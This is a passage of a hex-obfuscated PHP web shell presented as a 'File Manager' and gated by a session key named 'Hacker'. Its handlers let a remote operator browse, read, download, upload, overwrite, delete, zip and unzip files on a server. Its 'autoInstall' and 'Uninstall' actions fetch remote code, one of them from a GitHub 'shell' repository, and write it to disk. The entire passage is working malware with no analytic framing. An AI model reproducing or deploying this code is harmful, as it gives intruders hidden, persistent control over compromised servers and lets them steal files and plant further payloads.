"\74\x64\x69\x76\40\x63\x6c\x61\x73\163\75\42\146\151\x78\42\x3e\x3c\x68\61\x20\143\x6c\x61\163\x73\x3d\x22\157\x77\x6e\145\162\42\x3e\106\x69\x6c\145\40\115\x61\x6e\x61\147\145\162\x3c\x2f\150\61\x3e\x3c\144\151\166\x20\143\154\x61\x73\x73\x3d\x22\156\x65\x77\123\x65\x6c\x6c\42\76\x3c\144\x69\166\x20\143\x6c\141\x73\163\75\42\x6e\x65\x77\x53\x65\154\154\137\x74\x69\164\x6c\145\42\40\151\x64\75\42\x64\151\162\42\76\56\x2f\74\x2f\x64\151\166\x3e\74\x69\x20\151\144\75\42\x6f\x70\x65\x6e\x53\x65\154\x6c\137\142\164\x6e\42\x20\x63\154\141\163\163\75\42\x66\x61\55\x6c\x69\147\x68\x74\x20\x66\141\x2d\x73\161\x75\141\162\145\x2d\160\x6c\x75\x73\x22\76\x3c\x2f\151\x3e\74\144\151\x76\x20\143\x6c\141\x73\163\x3d\x22\x6e\145\167\x53\x65\154\x6c\x5f\x62\164\x6e\x22\x3e\x20\x3c\151\40\x69\144\75\x22\x43\162\145\x61\x74\x65\x46\151\154\145\42\x20\143\x6c\x61\163\163\75\x22\146\x61\x2d\x6c\151\147\150\x74\x20\x66\x61\55\x66\x69\154\x65\55\160\x6c\x75\x73\x22\x3e\74\57\x69\76\x3c\151\x20\x69\x64\75\42\x75\x70\x6c\157\x61\x64\42\x20\x63\154\x61\x73\163\75\42\146\141\x2d\154\x69\147\x68\x74\40\146\141\55\146\x69\154\145\55\141\x72\162\157\167\x2d\x75\160\42\76\x3c\x2f\x69\76\74\x69\x20\151\144\x3d\x22\x43\162\145\141\x74\x65\x46\157\x6c\x64\x65\162\x22\40\143\x6c\141\163\x73\x3d\x22\x66\x61\x2d\x6c\x69\x67\150\164\x20\x66\x61\55\x66\157\154\144\145\162\55\x70\154\x75\163\x22\76\74\x2f\151\x3e\74\151\x20\x69\144\75\42\x49\x6e\163\x74\141\154\154\x53\x68\x65\154\154\42\40\143\x6c\x61\x73\163\x3d\42\146\x61\x2d\x6c\151\147\x68\164\40\146\x61\55\x73\x68\151\145\154\144\x2d\x70\x6c\165\x73\x22\x3e\74\57\151\x3e\x3c\x69\x20\151\144\75\x22\x63\154\157\x73\145\x53\145\x6c\x6c\137\x62\x74\x6e\x22\40\143\154\x61\163\x73\75\x22\x66\141\x2d\154\151\147\x68\x74\x20\x66\141\55\x72\145\x63\x74\141\x6e\x67\x6c\x65\x2d\x78\155\x61\162\x6b\42\x3e\74\x2f\151\76\74\x2f\144\151\166\76\74\57\144\x69\166\x3e\74\57\x64\x69\x76\76\x3c\x64\151\x76\40\151\x64\75\42\146\157\154\144\145\x72\x73\x22\x3e\74\57\144\151\166\x3e"; } else { if ($data == "\154\x6f\x61\144\104\x69\x72") { $dir = $_POST["\x64\x69\x72"]; $explodeDir = explode("\57", $dir); $homeDir = getHomeDirectory(); $openDir = $titleDir = $outputFolders = $outputFiles = ''; for ($i = 0; $i < count($explodeDir); $i++) { if ($explodeDir[$i] != '') { $openDir = $openDir . $explodeDir[$i] . "\x2f"; $titleDir = $titleDir . "\74\x73\160\141\x6e\40\151\x64\75\42\x6f\x70\145\x6e\x44\151\162\x22\x20\x73\x74\x79\x6c\145\x3d\x22\143\x75\x72\x73\x6f\x72\72\x20\160\x6f\151\156\164\x65\x72\73\x22\x20\144\x61\164\x61\x2d\144\x69\162\x3d\x22" . $openDir . "\x22\76" . $explodeDir[$i] . "\74\x2f\163\160\141\156\x3e\57"; } else { if ($i == 0) { $openDir = $titleDir = "\57"; } } } if ($explodeDir[1] != '') { $undoDir = explodeLast("\57", $dir); $undoDir = explodeLast("\57", $undoDir[0]); $output = "\x3c\x64\151\x76\40\x63\154\x61\x73\163\x3d\x22\x66\x6c\145\170\42\76\x3c\144\x69\x76\x20\x63\154\141\163\x73\x3d\x22\x66\x6f\x6c\x64\145\162\163\42\x20\151\x64\75\42\x6f\x70\145\x6e\104\151\162\x22\x20\x64\x61\164\x61\x2d\x64\x69\x72\x3d\42" . $undoDir[0] . "\57\x22\x3e\56\x2e\x2f\x3c\x2f\x64\151\166\76\x3c\x64\151\166\x20\143\x6c\x61\x73\163\x3d\x22\145\x64\151\x74\137\142\164\x6e\x22\76\74\x69\40\x69\144\x3d\42\157\x70\x65\x6e\104\x69\162\42\x20\x64\x61\164\x61\55\x64\x69\162\75\42" . $homeDir . "\x22\40\143\154\141\x73\163\x3d\42\146\x61\x2d\x6c\151\x67\x68\164\40\x66\x61\x2d\150\x6f\x75\x73\x65\42\76\x3c\57\151\x3e\74\x69\40\151\144\x3d\42\157\x70\x65\x6e\x44\151\162\x22\x20\x64\x61\164\141\55\144\x69\x72\75\x22" . $dir . "\42\x20\143\154\141\163\x73\x3d\x22\x66\141\x2d\x6c\x69\x67\x68\x74\x20\x66\x61\x2d\162\157\x74\x61\164\x65\x2d\x6c\x65\146\x74\42\x3e\74\x2f\x69\76\x3c\57\x64\151\x76\76\x3c\x2f\144\151\166\x3e"; } else { $output = "\74\144\x69\x76\x20\143\154\141\163\163\75\42\146\154\145\x78\42\x3e\x3c\144\151\166\40\143\154\x61\163\163\75\x22\x66\x6f\154\x64\x65\x72\163\42\x20\151\144\x3d\42\157\160\x65\x6e\x44\x69\x72\42\40\144\x61\164\141\x2d\x64\151\162\75\x22" . $dir . "\42\x3e\56\x2f\74\57\x64\x69\166\x3e\x3c\144\151\166\40\143\x6c\141\163\163\x3d\42\x65\144\151\164\137\142\164\156\x22\x3e\x3c\x69\40\151\144\x3d\42\x6f\x70\x65\156\104\151\x72\x22\40\x64\141\164\141\x2d\144\x69\x72\75\x22" . $homeDir . "\x22\x20\x63\154\141\x73\163\x3d\42\x66\x61\55\x6c\151\147\150\164\40\x66\141\x2d\x68\157\165\x73\145\x22\x3e\74\x2f\151\76\x3c\x69\x20\151\x64\75\42\157\160\145\x6e\104\151\x72\42\x20\x64\141\x74\x61\55\x64\x69\x72\75\42" . $dir . "\x22\x20\143\x6c\x61\x73\163\x3d\42\146\141\55\154\151\x67\x68\x74\40\x66\x61\55\162\x6f\x74\141\x74\x65\55\x6c\x65\146\x74\42\76\x3c\57\x69\x3e\74\x2f\x64\x69\x76\76\74\x2f\x64\151\166\x3e"; } $visibleFilesFolders = glob($dir . "\x2a", GLOB_MARK); $hiddenFilesFolders = glob($dir . "\56\x2a", GLOB_MARK); $folders = array_merge($visibleFilesFolders, $hiddenFilesFolders); $folders = array_filter($folders, function ($file) { return !in_array(basename($file), array("\56", "\56\x2e")); }); usort($folders, function ($a, $b) { return strtolower(basename($a)) <=> strtolower(basename($b)); }); foreach ($folders as $folder) { $path = $dir . basename($folder); if ($path != $mr999plus) { if (is_file($path)) { $mimeType = mimeType($path); $outputFiles .= "\x3c\144\151\166\40\x63\x6c\141\163\x73\x3d\42\x66\154\145\170\42\x3e\x3c\144\x69\166\x20\143\x6c\141\x73\x73\x3d\42\146\157\154\144\x65\x72\x73\x22\x20\151\x64\x3d\x22\157\160\145\156\106\x69\x6c\145\42\x20\x64\141\x74\141\x2d\156\x61\155\145\x3d\x22" . basename($folder) . "\x22\40\x64\141\164\x61\x2d\x74\x79\x70\145\x3d\42" . $mimeType["\x74\x79\160\145"] . "\42\x20\144\x61\164\141\x2d\x66\151\x6c\145\x3d\42" . $path . "\42\x3e\x3c\x69\40\x63\154\141\x73\x73\75\x22\146\141\x2d\x6c\x69\147\150\164\40\146\x61\x2d\146\151\154\145\42\76\74\57\x69\x3e\x20" . basename($folder) . "\x3c\x2f\144\151\x76\x3e\74\144\x69\166\40\143\x6c\x61\163\x73\75\x22\144\141\x74\x65\42\76" . date("\x68\x3a\151\72\x73\x20\141\x20\144\57\155\x2f\131", filemtime($path)) . "\74\x2f\x64\151\166\x3e\74\x64\151\166\x20\x63\x6c\x61\163\x73\75\42\x74\x79\160\145\x22\76" . $mimeType["\151\x6e\x66\x6f"] . "\x3c\x2f\x64\151\x76\x3e\x3c\144\151\166\40\x63\154\141\163\x73\75\42\x73\151\x7a\x65\42\x3e" . sizeFile($path) . "\74\x2f\144\x69\x76\76\74\144\x69\x76\40\143\154\x61\163\x73\75\x22\x65\x64\x69\164\x5f\142\x74\x6e\42\76\x20\x3c\x69\40\151\144\x3d\42\162\x65\156\141\155\x65\106\151\154\x65\42\x20\144\x61\164\x61\55\144\151\162\75\42" . $path . "\42\x20\144\141\x74\x61\x2d\x6e\x61\155\x65\x3d\42" . basename($folder) . "\42\x20\x63\154\141\163\163\x3d\x22\146\141\55\x6c\x69\147\x68\x74\x20\x66\x61\x2d\x70\x65\x6e\x2d\x74\157\x2d\163\161\x75\x61\162\145\42\x3e\74\57\x69\x3e\x3c\151\40\151\x64\x3d\42\x64\x65\154\145\x74\x65\42\40\144\x61\164\141\55\x64\x69\162\x3d\42" . $path . "\x22\40\143\x6c\x61\163\163\x3d\x22\146\x61\55\154\151\147\150\x74\x20\x66\141\x2d\x74\x72\141\163\x68\42\76\x3c\x2f\x69\76\x3c\x69\x20\151\144\x3d\42\144\x6f\x77\x6e\x6c\x6f\141\144\42\40\144\x61\x74\141\55\144\x69\162\75\42" . $path . "\x22\40\143\154\141\163\x73\75\x22\146\x61\55\154\x69\147\150\164\x20\146\141\55\x64\x6f\167\156\154\x6f\x61\x64\42\76\74\57\151\x3e\x3c\x2f\144\x69\166\x3e\74\x2f\144\151\x76\x3e"; } else { $path = $dir . basename($folder) . "\57"; $outputFolders .= "\x3c\x64\x69\166\x20\x63\x6c\x61\163\x73\75\42\x66\154\x65\170\42\x3e\x3c\x64\151\166\40\143\x6c\x61\163\163\75\42\146\x6f\154\x64\x65\162\x73\x22\x20\x69\x64\75\x22\157\160\145\156\104\x69\162\42\40\144\141\164\x61\x2d\144\x69\x72\75\x22" . $path . "\x22\76\x3c\x69\x20\143\x6c\x61\163\163\75\x22\x66\141\x2d\154\x69\x67\150\164\40\146\x61\55\146\x6f\x6c\144\x65\x72\x22\x3e\x3c\57\x69\76\40" . basename($folder) . "\x3c\57\144\x69\166\76\x3c\144\151\x76\x20\x63\154\x61\163\163\75\x22\144\x61\164\145\42\76" . date("\x68\x3a\151\x3a\x73\40\141\40\x64\57\155\x2f\131", filemtime($path)) . "\x3c\x2f\x64\151\x76\x3e\x3c\144\x69\166\x20\x63\154\141\163\163\x3d\x22\x74\171\160\145\42\76" . filetype($path) . "\74\x2f\x64\151\166\x3e\x3c\x64\x69\166\40\x63\154\x61\x73\163\x3d\42\x73\x69\x7a\145\42\x3e" . chmodFolder($path) . "\74\57\x64\151\166\x3e\74\144\x69\166\40\143\154\x61\x73\x73\x3d\x22\x65\x64\151\x74\137\142\x74\x6e\42\x3e\x20\74\x69\40\151\144\x3d\42\x72\145\x6e\141\x6d\145\x46\151\x6c\x65\x22\40\144\141\164\x61\55\144\151\x72\75\42" . $path . "\x22\40\144\x61\x74\x61\55\x6e\141\155\x65\x3d\x22" . basename($folder) . "\x22\x20\143\154\x61\x73\163\x3d\42\146\141\x2d\x6c\x69\147\x68\164\40\x66\141\x2d\160\145\156\55\x74\157\55\x73\x71\165\141\162\x65\x22\x3e\x3c\57\x69\76\x3c\x69\40\x69\144\x3d\x22\x64\x65\154\145\164\145\42\x20\x64\141\164\x61\x2d\x64\x69\x72\75\42" . $path . "\x22\x20\x63\154\x61\163\x73\x3d\x22\x66\141\55\154\151\x67\150\x74\40\146\x61\x2d\164\162\x61\x73\x68\x22\x3e\x3c\x2f\x69\x3e\74\x69\40\x69\144\x3d\x22\172\x69\160\x44\151\x72\42\40\x64\141\164\141\x2d\x64\x69\x72\75\x22" . $path . "\x22\40\x63\154\141\163\163\75\42\x66\x61\55\154\151\147\150\164\x20\x66\x61\55\x66\151\x6c\x65\x2d\172\151\x70\x70\145\162\42\x3e\x3c\x2f\151\x3e\74\x2f\144\x69\x76\x3e\74\x2f\x64\151\x76\76"; } } } $result["\x73\165\143\x63\x65\163\163"] = true; $result["\144\151\162"] = $titleDir; $result["\x68\164\155\154"] = $output . $outputFolders . $outputFiles; } else { if ($data == "\165\x70\144\x61\164\x65\106\x69\154\145") { $dir = $_POST["\x64\x69\x72"]; if (is_writable($dir)) { $editorData = base64_decode($_POST["\143\157\144\x65"]); $saveData = createFileFopen($dir, $editorData); if ($saveData) { $result["\x73\x75\143\x63\145\x73\163"] = true; $result["\x6d\163\147"] = "\106\x69\154\x65\40\x75\x70\144\x61\164\145\x64\40\163\165\x63\143\x65\163\163\146\x75\154\x6c\x79\41"; } else { $result["\x73\x75\x63\143\x65\163\x73"] = false; $result["\x6d\x73\x67"] = "\x46\141\151\x6c\145\x64\x20\x74\x6f\40\165\160\144\x61\164\145\x20\146\x69\x6c\145\x21"; } } else { $result["\163\x75\x63\143\145\163\x73"] = false; $result["\x6d\x73\x67"] = "\x45\144\151\x74\40\x70\x65\162\155\151\163\x73\x69\x6f\x6e\40\144\145\x6e\x69\145\x64\41"; } } else { if ($data == "\x73\145\x74\x52\145\x6e\141\x6d\145") { $renameDir = $_POST["\x72\145\156\x61\x6d\x65\104\x69\162"]; $newName = $_POST["\156\145\x77\x4e\141\155\145"]; if (is_file($renameDir)) { $undoDir = explodeLast("\57", $renameDir); } else { $undoDir = explodeLast("\57", $renameDir); $undoDir = explodeLast("\x2f", $undoDir[0]); } $newDir = $undoDir[0] . "\x2f" . $newName; if (is_dir($newDir) === true) { $result["\145\x72\162\x6f\x72"] = true; $result["\x73\x75\x63\143\x65\x73\163"] = false; $result["\155\x73\x67"] = "\x46\x6f\x6c\x64\x65\162\x20\141\x6c\162\145\141\x64\171\40\x65\x78\151\x73\164\145\144\41"; } else { if (is_file($newDir) === true) { $result["\145\x72\x72\157\162"] = true; $result["\163\x75\143\x63\x65\x73\x73"] = false; $result["\x6d\x73\147"] = "\106\x69\x6c\x65\40\141\154\162\145\141\x64\x79\40\x65\x78\x69\163\x74\145\x64\41"; } else { if (rename($renameDir, $newDir)) { $result["\x73\165\x63\x63\145\163\163"] = true; $result["\x6d\163\x67"] = "\x52\145\x6e\141\155\x65\144\40\x73\165\x63\143\145\x73\x73\x66\x75\x6c\x6c\x79\41"; } else { $result["\145\x72\162\x6f\162"] = false; $result["\x73\x75\x63\x63\x65\163\x73"] = false; $result["\x6d\x73\x67"] = "\x52\x65\156\141\155\x65\40\160\145\x72\155\x69\x73\163\151\x6f\x6e\x20\144\x65\156\x69\x65\x64\41"; } } } } else { if ($data == "\163\145\164\x44\x65\x6c\145\x74\x65") { $delete = setDelete($_POST["\x64\151\162"]); $result["\163\x75\143\x63\x65\x73\x73"] = $delete; if ($delete) { $result["\155\x73\147"] = "\x44\145\154\145\164\145\144\x20\163\x75\143\x63\x65\163\163\x66\x75\154\154\x79\41"; } else { $result["\x6d\163\x67"] = "\104\x65\x6c\x65\x74\145\144\x20\x70\x65\162\155\151\x73\x73\151\x6f\156\x20\144\145\156\151\x65\144\x21"; } } else { if ($data == "\x7a\151\x70\104\151\162") { $dir = $_POST["\x64\151\162"]; $zip = $_POST["\x7a\151\x70"]; $undoDir = explodeLast("\57", $zip); $folDer = explodeLast("\57", $undoDir[0]); $zipfile = $dir . $folDer[1] . "\56\172\x69\x70"; if (class_exists("\x5a\151\x70\101\162\143\x68\151\166\x65")) { if (is_writable($dir)) { $rootPath = realpath($zip); $zip = new ZipArchive(); $zip->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); $result["\163\x75\143\x63\145\163\163"] = true; $result["\155\x73\147"] = "\x46\x6f\154\x64\x65\x72\40\x7a\151\160\x70\145\x64\x20\163\165\143\x63\x65\x73\163\x66\165\154\x6c\x79\41"; } else { $result["\x73\165\x63\143\x65\x73\163"] = false; $result["\x6d\x73\147"] = "\x5a\x69\x70\x20\160\145\162\155\x69\x73\x73\x69\x6f\156\x20\x64\x65\x6e\151\x65\144\41"; } } else { $result["\163\165\143\143\145\163\163"] = false; $result["\x6d\163\147"] = "\x59\157\x75\x72\40\120\110\120\x20\x76\145\162\163\151\x6f\x6e\x20\144\157\145\x73\40\x6e\157\x74\40\x73\x75\160\160\157\162\164\40\132\151\160\101\x72\143\x68\151\166\145\x21"; } } else { if ($data == "\165\156\172\151\160\106\151\x6c\145") { $file = $_POST["\146\151\x6c\145"]; $dir = pathinfo(realpath($file), PATHINFO_DIRNAME); if (class_exists("\132\x69\160\x41\x72\x63\x68\151\x76\x65")) { if (is_writable($dir)) { $zip = new ZipArchive(); $res = $zip->open($file); if ($res === true) { $zip->extractTo($dir); $zip->close(); $result["\x73\x75\x63\x63\145\163\163"] = true; $result["\155\x73\x67"] = "\106\151\x6c\145\x20\165\x6e\x7a\x69\x70\160\145\144\40\x73\165\x63\x63\145\x73\x73\x66\x75\x6c\154\171\x21"; } else { $result["\x73\x75\x63\143\x65\163\163"] = false; $result["\x6d\163\147"] = "\125\x6e\x7a\151\x70\x20\160\x65\x72\155\x69\x73\x73\x69\x6f\156\40\144\x65\x6e\x69\145\144\x21"; } } else { $result["\x73\165\143\x63\145\163\163"] = false; $result["\155\163\147"] = "\125\156\x7a\x69\160\40\160\145\x72\x6d\151\163\x73\x69\x6f\x6e\x20\x64\145\156\151\145\x64\x21"; } } else { $result["\163\x75\x63\x63\145\x73\x73"] = false; $result["\x6d\163\x67"] = "\x59\157\165\x72\40\x50\x48\120\40\166\145\162\x73\151\x6f\156\x20\144\157\x65\163\x20\x6e\x6f\164\40\163\165\160\160\157\162\164\40\132\x69\x70\101\x72\x63\150\x69\x76\x65\x21"; } } else { if ($data == "\156\145\x77\106\x69\154\x65") { $dir = $_POST["\x64\151\x72"]; $newfile = $dir . $_POST["\156\x65\167\x46\151\x6c\x65\x4e\141\155\145"]; if (is_file($newfile)) { $result["\x65\x72\x72\x6f\162"] = true; $result["\x73\x75\x63\x63\145\163\x73"] = false; $result["\155\163\147"] = "\106\x69\154\x65\x20\156\141\x6d\x65\x20\x61\x6c\x72\145\141\x64\171\x20\x65\170\x69\163\x74\145\x64\x21"; } else { if (is_writable($dir)) { if (createFileFopen($newfile, '')) { $result["\163\x75\143\143\x65\163\163"] = true; $result["\146\151\x6c\145"] = $newfile; $result["\x6d\x73\x67"] = "\106\x69\154\145\x20\143\x72\x65\x61\x74\145\x64\40\163\x75\143\143\145\x73\163\x66\165\154\x6c\x79\41"; } else { $result["\163\165\143\143\x65\x73\x73"] = false; $result["\x6d\163\x67"] = "\x46\141\x69\x6c\x65\144\40\164\x6f\40\143\x72\145\x61\164\145\x20\x66\151\154\145\x21"; } } else { $result["\x73\x75\x63\x63\145\163\x73"] = false; $result["\155\163\x67"] = "\x4e\x65\167\x20\x46\151\x6c\x65\40\160\x65\x72\x6d\151\163\163\x69\157\x6e\x20\144\145\x6e\x69\x65\144\x21"; } $result["\145\162\x72\157\x72"] = false; } } else { if ($data == "\156\x65\x77\106\x6f\x6c\144\x65\x72") { $dir = $_POST["\144\151\162"]; $newfolder = $dir . $_POST["\x6e\145\167\106\x6f\154\x64\145\x72\116\x61\x6d\x65"]; if (is_dir($newfolder)) { $result["\145\x72\x72\157\x72"] = true; $result["\163\165\x63\143\x65\163\x73"] = false; $result["\x6d\163\147"] = "\x46\x6f\x6c\144\145\162\x20\156\141\x6d\x65\40\141\x6c\x72\x65\141\x64\x79\x20\x65\170\x69\163\x74\145\x64\41"; } else { if (is_writable($dir)) { if (mkdir($newfolder, 511, true)) { $result["\x73\165\143\143\x65\x73\x73"] = true; $result["\155\x73\147"] = "\106\157\x6c\x64\145\x72\40\x63\162\x65\141\164\145\x64\x20\x73\165\143\143\145\x73\163\x66\165\154\154\x79\41"; } else { $result["\163\165\143\143\145\163\x73"] = false; $result["\x6d\163\x67"] = "\x46\141\x69\x6c\x65\x64\x20\164\157\40\x63\x72\x65\x61\164\145\40\x66\157\154\x64\x65\x72\41"; } } else { $result["\163\x75\x63\x63\x65\163\x73"] = false; $result["\155\x73\x67"] = "\116\x65\167\40\106\157\154\144\x65\x72\x20\x70\x65\x72\x6d\151\x73\x73\151\x6f\x6e\40\x64\145\156\x69\145\144\41"; } $result["\145\162\x72\157\x72"] = false; } } else { if ($data == "\x75\x70\x6c\x6f\x61\x64\x46\x69\154\x65") { $dir = $_POST["\144\151\162"]; $newfile = $dir . $_POST["\x66\151\x6c\145\116\141\155\145"]; if (is_file($newfile)) { $result["\x65\162\x72\x6f\162"] = true; $result["\x73\x75\x63\143\x65\163\x73"] = false; $result["\x6d\163\147"] = "\106\x69\x6c\145\40\x6e\x61\x6d\145\40\x61\x6c\162\145\141\144\x79\x20\x65\x78\x69\163\164\145\x64\x21"; } else { if (is_writable($dir)) { if (move_uploaded_file($_FILES["\146\x69\x6c\x65"]["\x74\155\x70\x5f\x6e\x61\x6d\145"], $newfile)) { $result["\163\x75\143\x63\145\x73\x73"] = true; $result["\155\x73\147"] = "\x46\x69\x6c\x65\x20\x75\160\x6c\157\141\144\x65\144\40\163\x75\143\x63\x65\163\x73\146\x75\x6c\x6c\x79\x21"; } else { $result["\x73\165\x63\x63\145\163\x73"] = false; $result["\155\163\x67"] = "\106\x61\x69\154\145\144\x20\x74\157\x20\165\x70\154\157\141\144\x20\146\151\154\145\41"; } } else { $result["\163\x75\x63\x63\145\163\x73"] = false; $result["\x6d\163\147"] = "\x55\x70\154\157\x61\x64\40\106\x69\154\145\40\x70\145\162\x6d\x69\x73\163\x69\x6f\156\40\144\145\x6e\x69\145\x64\x21"; } $result["\x65\162\x72\157\162"] = false; } } else { if ($data == "\x61\x75\x74\x6f\x49\156\163\164\141\x6c\154") { $dir = $_POST["\x64\x69\x72"]; $autoInstall = explode("\174\x53\110\x45\x4c\114\174", getDecode($_POST["\x61\x75\164\157\111\156\163\x74\141\x6c\154"])); $installfile = $dir . $autoInstall[0]; if (is_file($installfile)) { $result["\145\x72\162\157\x72"] = true; $result["\x73\x75\143\x63\145\x73\x73"] = false; $result["\x6d\x73\x67"] = "\106\151\154\x65\x20\x61\x6c\162\145\x61\x64\171\x20\x69\156\x73\164\x61\x6c\x6c\145\144\41"; } else { if (is_writable($dir)) { $installContent = getContent($autoInstall[1]); if ($installContent != '') { if (createFileFopen($installfile, $installContent)) { $result["\163\165\143\x63\145\x73\163"] = true; $result["\x6d\163\x67"] = "\x49\156\163\x74\x61\154\154\x65\x64\40\x73\165\x63\143\x65\x73\x73\146\165\x6c\x6c\171\41"; } else { $result["\163\x75\143\143\145\x73\x73"] = false; $result["\x6d\x73\x67"] = "\x46\141\151\154\x65\144\x20\x74\x6f\40\151\156\163\164\141\154\x6c\x21"; } } else { $result["\x73\x75\x63\x63\x65\163\163"] = false; $result["\155\163\x67"] = "\x53\157\x6d\x65\x74\150\x69\156\x67\x20\167\x65\x6e\x74\40\x77\x72\x6f\x6e\147\41\41"; } } else { $result["\x73\165\143\143\145\163\163"] = false; $result["\x6d\x73\x67"] = "\x49\156\163\164\x61\x6c\x6c\40\x70\145\162\x6d\x69\x73\x73\151\157\156\x20\144\145\156\151\x65\x64\x21"; } $result["\x65\x72\x72\157\x72"] = false; } } else { if ($data == "\125\156\x69\156\163\x74\x61\x6c\x6c") { $uninstallContent = getContent("\150\x74\x74\x70\163\x3a\x2f\x2f\x72\x61\x77\x2e\x67\x69\x74\150\165\142\x75\163\145\x72\143\157\156\x74\x65\x6e\164\x2e\x63\x6f\155\57\x73\x61\155\151\x75\154\141\x6c\151\155\61\57\x73\x68\x65\x6c\x6c\57\x6d\x61\x69\x6e\x2f\165\156\x69\156\163\164\x61\x6c\154\57\x75\x6e\x69\x6e\163\x74\x61\154\154\x2e\160\150\160"); if (is_writable($mr999plus)) { if ($uninstallContent != '') { if (createFileFopen($mr999plus, $uninstallContent)) { $result["\163\x75\x63\x63\x65\x73\163"] = true; $result["\155\163\147"] = "\125\x6e\x69\x6e\163\164\141\154\x6c\x65\144\40\x73\x75\x63\x63\145\163\163\146\x75\154\x6c\171\x21"; } else { $result["\163\x75\x63\x63\145\163\163"] = false; $result["\155\x73\x67"] = "\106\141\x69\154\145\144\x20\x74\x6f\x20\165\x6e\x69\x6e\x73\164\141\154\x6c\41"; } } else { $result["\163\165\143\143\145\163\x73"] = false; $result["\155\163\147"] = "\x53\157\x6d\145\x74\150\x69\x6e\x67\40\167\x65\156\164\x20\167\x72\x6f\x6e\x67\x21"; } } else { $result["\x73\165\x63\x63\145\163\x73"] = false; $result["\x6d\x73\x67"] = "\125\156\x69\156\163\x74\x61\x6c\x6c\40\x70\145\x72\x6d\x69\163\x73\151\x6f\156\40\144\145\156\151\145\144\x21"; } } else { $result["\x65\162\x72\157\162"] = false; $result["\163\x75\143\143\145\163\163"] = false; $result["\155\163\147"] = "\x50\x65\x72\155\151\x73\163\x69\x6f\x6e\x20\144\x65\x6e\x69\145\144\41"; } } } } } } } } } } } } } } header("\x43\157\156\x74\x65\x6e\x74\55\124\x79\160\145\x3a\40\x61\160\x70\154\x69\x63\x61\x74\151\157\x6e\57\152\163\157\x6e\73\x20\x63\150\x61\162\x73\145\x74\x3d\165\x74\x66\55\x38"); die(json_encode($result)); } else { if (isset($_GET["\144\141\x74\x61"], $_SESSION["\x48\141\143\153\145\x72"])) { if ($_SESSION["\x48\x61\143\x6b\145\162"] == $Hacker) { $data = $_GET["\x64\141\x74\141"]; if ($data == "\x6f\x70\x65\x6e\x53\x72\x63") { $file = base64_decode(str_replace("\x20", "\53", $_GET["\146\x69\154\x65"])); if (file_exists($file)) { if (function_exists("\155\151\155\145\137\x63\x6f\156\x74\x65\x6e\x74\x5f\164\x79\x70\145")) { $ContentType = mime_content_type($file); } else { $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $mimeTypes = array("\x6a\x70\x67" => "\151\x6d\x61\x67\145\57\x6a\160\145\147", "\160\156\147" => "\151\x6d\141\147\145\57\x70\x6e\x67", "\x67\x69\146" => "\151\x6d\141\147\x65\x2f\147\151\x66", "\x77\x65\142\160" => "\151\x6d\141\147\145\57\167\x65\x62\160", "\163\x76\147" => "\151\x6d\141\147\145\x2f\x73\166\x67\53\x78\x6d\154", "\x6d\160\x34" => "\x76\x69\144\x65\157\x2f\155\x70\x34", "\x6d\x6b\166" => "\x76\151\x64\x65\157\57\170\55\155\x61\164\162\x6f\x73\x6b\x61", "\x6d\160\x33" => "\x61\x75\x64\x69\x6f\57\x6d\160\x65\x67", "\167\x61\166" => "\x61\x75\144\x69\x6f\x2f\x77\x61\166", "\141\x69\146\146" => "\x61\165\x64\151\x6f\x2f\141\151\146\146", "\152\x70\x65\x67" => "\151\155\141\x67\145\57\x6a\x70\145\147"); $ContentType = $mimeTypes[$extension] ?? "\141\160\160\154\x69\x63\141\164\151\157\156\x2f\x6f\x63\x74\145\164\55\x73\x74\162\x65\141\x6d"; } header("\x43\157\x6e\164\x65\x6e\164\55\124\171\160\x65\x3a\40" . $ContentType); readfile($file); die; } else { http_response_code("\64\x30\x34"); die; } } else { if ($data == "\144\x6f\x77\156\x6c\x6f\x61\x64") { $file = base64_decode(str_replace("\40", "\53", $_GET["\x66\151\x6c\x65"])); if (file_exists($file)) { header("\x43\157\156\164\x65\x6e\x74\55\x44\x65\163\x63\x72\151\160\164\151\x6f\x6e\72\40\106\151\x6c\x65\x20\124\162\141\156\x73\x66\145\x72"); header("\103\x6f\x6e\164\x65\156\x74\55\x54\x79\160\x65\72\40\x61\x70\160\x6c\x69\x63\141\x74\x69\157\x6e\x2f\157\143\164\145\164\x2d\x73\x74\x72\145\x61\155"); header("\x43\x6f\x6e\x74\x65\156\164\x2d\x44\151\x73\x70\157\163\x69\164\x69\157\156\x3a\x20\141\164\x74\x61\143\150\x6d\x65\x6e\164\x3b\40\146\x69\154\145\x6e\141\155\145\x3d" . basename($file)); header("\103\x6f\156\x74\x65\156\x74\55\124\x72\x61\156\x73\146\145\x72\55\105\156\143\x6f\144\x69\x6e\x67\72\40\142\151\x6e\x61\x72\x79"); header("\x45\170\x70\x69\162\x65\x73\x3a\40\60"); header("\103\x61\143\x68\145\x2d\x43\157\156\164\162\157\x6c\x3a\40\155\x75\x73\164\x2d\x72\x65\x76\141\x6c\x69\x64\141\164\145"); header("\x50\x72\141\x67\x6d\x61\72\x20\160\x75\142\154\151\x63"); header("\103\x6f\x6e\x74\x65\156\x74\55\x4c\x65\x6e\147\x74\x68\x3a\40" . filesize($file)); ob_clean(); flush(); readfile($file); die; } else { die("\x3c\163\x63\162\x69\160\x74\x3e\x61\154\x65\x72\164\x28\x22\106\x69\x6c\x65\x20\x6e\x6f\x74\x20\146\157\165\x6e\x64\x21\x22\51\73\40\167\151\156\x64\x6f\x77\x2e\x63\x6c\x6f\163\x65\x28\x29\73\x3c\57\x73\x63\162\151\160\x74\x3e"); } } else { if ($data == "\157\160\145\x6e\101\x43\105") { $file = base64_decode(str_replace("\40", "\53", $_GET["\146\x69\x6c\145"])); if (file_exists($file)) { $fileSize = filesize($file); $fileName = basename($file); $fileHandle = fopen($file, "\162"); if ($fileHandle) { $canRead = "\x74\x72\165\x65"; if ($fileSize == 0) { $content = ''; } else { $content = base64_encode(fread($fileHandle, $fileSize)); } fclose($fileHandle); } else { $canRead = "\x66\141\x6c\163\145"; $content = "\x52\x65\x61\144\x20\x70\x65\x72\155\151\x73\163\151\157\x6e\x20\x64\145\156\x69\145\144\41"; } } else { $fileName = ''; $canRead = "\146\x61\x6c\163\145"; $content = "\106\151\x6c\145\x20\156\x6f\164\x20\x66\157\165\156\x64\41"; } $setting = 